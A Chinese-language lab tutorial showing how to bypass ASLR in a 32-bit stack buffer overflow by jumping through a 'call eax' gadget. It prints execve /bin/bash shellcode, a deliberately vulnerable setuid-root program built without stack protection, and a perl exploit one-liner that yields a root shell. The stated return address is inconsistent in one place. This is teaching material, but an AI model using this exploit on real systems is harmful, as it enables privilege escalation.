缓冲区溢出漏洞(2)

时间:2021-05-03 06:57:40

通过"call eax"绕过ASLR

实验原理

前一个缓冲区溢出漏洞实验shellcode的地址采用的静态地址,但是现在的Ubuntu和其他一些Linux系统中,使用地址空间随机化(ASLR)来随机堆(heap)和栈(stack)的初始地址,采用静态地址攻击显得有很大的不足。一种经典的绕过ASLR的方法就是通过程序自身存在的"jmp 寄存器"指令,动态跳转到shellcode,即使程序每次加载的地址不一样,但程序指令间的相对运行不会变。本实验是通过程序本身存在的“call eax”(类似jmp eax)指令跳转到shellcode。

实验环境:

实验楼环境(Ubuntu linux 64位)

实验步骤

1.配置环境

本次实验是在32位环境中完成的,而实验楼ubuntu是64位,所以先下载安装32位的库。

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev

通过linux32命令进入32位linux环境。
缓冲区溢出漏洞(2)
打开ASLR:
缓冲区溢出漏洞(2)

2.shellcode

在前一次实验已经描述过什么是shellcode和它的作用。下面直接贴出shellcode的C版本代码:

#include <stdio.h> 
int main(int argc, char **argv) { 
    char *name[2]; 
    name[0] = "/bin/bash"; 
    name[1] = NULL; 
    execve(name[0], name, NULL); 
    return 0; 
}

shellcode怎么来的: shellcode是将上面C程序对应的汇编代码通过objdump获取其二进制代码得到的。
汇编版本:

xor %edx,%edx;\
push %edx;\
push $0x68732f2f;\
push $0x6e69622f;\
mov %esp,%ebx;\
push %edx;\
push %ebx;\
mov %esp,%ecx;\
xor %eax,%eax;\
movb $0x0b,%al;int $0x80;\

二进制代码:

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

3.漏洞程序

/*
    badpro.c
*/
#include <stdio.h>    
#include <string.h>    
void badfunc(char *input) {    
    char buffer[512];    
    strcpy(buffer, input);    
}    
int main(int argc, char **argv) {    
    badfunc(argv[1]);    
    return 0;    
}

上面程序完成的功能是:将main函数的第一个参数(字符串)复制到buffer中。
用下面的命令进行编译链接生成可执行的badpro:

gcc -Wall -g -o badpro badpro.c -z execstack -m32 -fno-stack-protector

给该程序加上root权限,这样攻击成功后就会获得其root权限:

sudo chown root:root badpro
sudo chmod a+s badpro

4.漏洞利用

通过objdump -d badpro | grep *%eax命令查找程序中是否存在call eax或者jmp eax这样的指令。其中“*%eax”是在寄存器前面加星号,代表这是一个绝对调用或者跳转,也就是该命令是对一个绝对地址进行操作,也正是由于这样指令的存在,才使得这种攻击成为可能。
缓冲区溢出漏洞(2)
选择0x08048386这个地址,作为跳板,得到最终的exploit的内容:ShellCode(N) + A(524-N) + \xdf\x83\x04\x08,这里事先生成的shellcode为25字节,因此填充了499个A。
执行如下命令:

./badpro $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x86\x83\x04\x08"')
/*
    perl -e 是perl在命令行中执行的命令;printf是将后面紧跟的字符串写入标准输出流;“A”x499是产生499个A。
*/

缓冲区溢出漏洞(2)
从上图可以看出,我们已经获得了root权限。成功!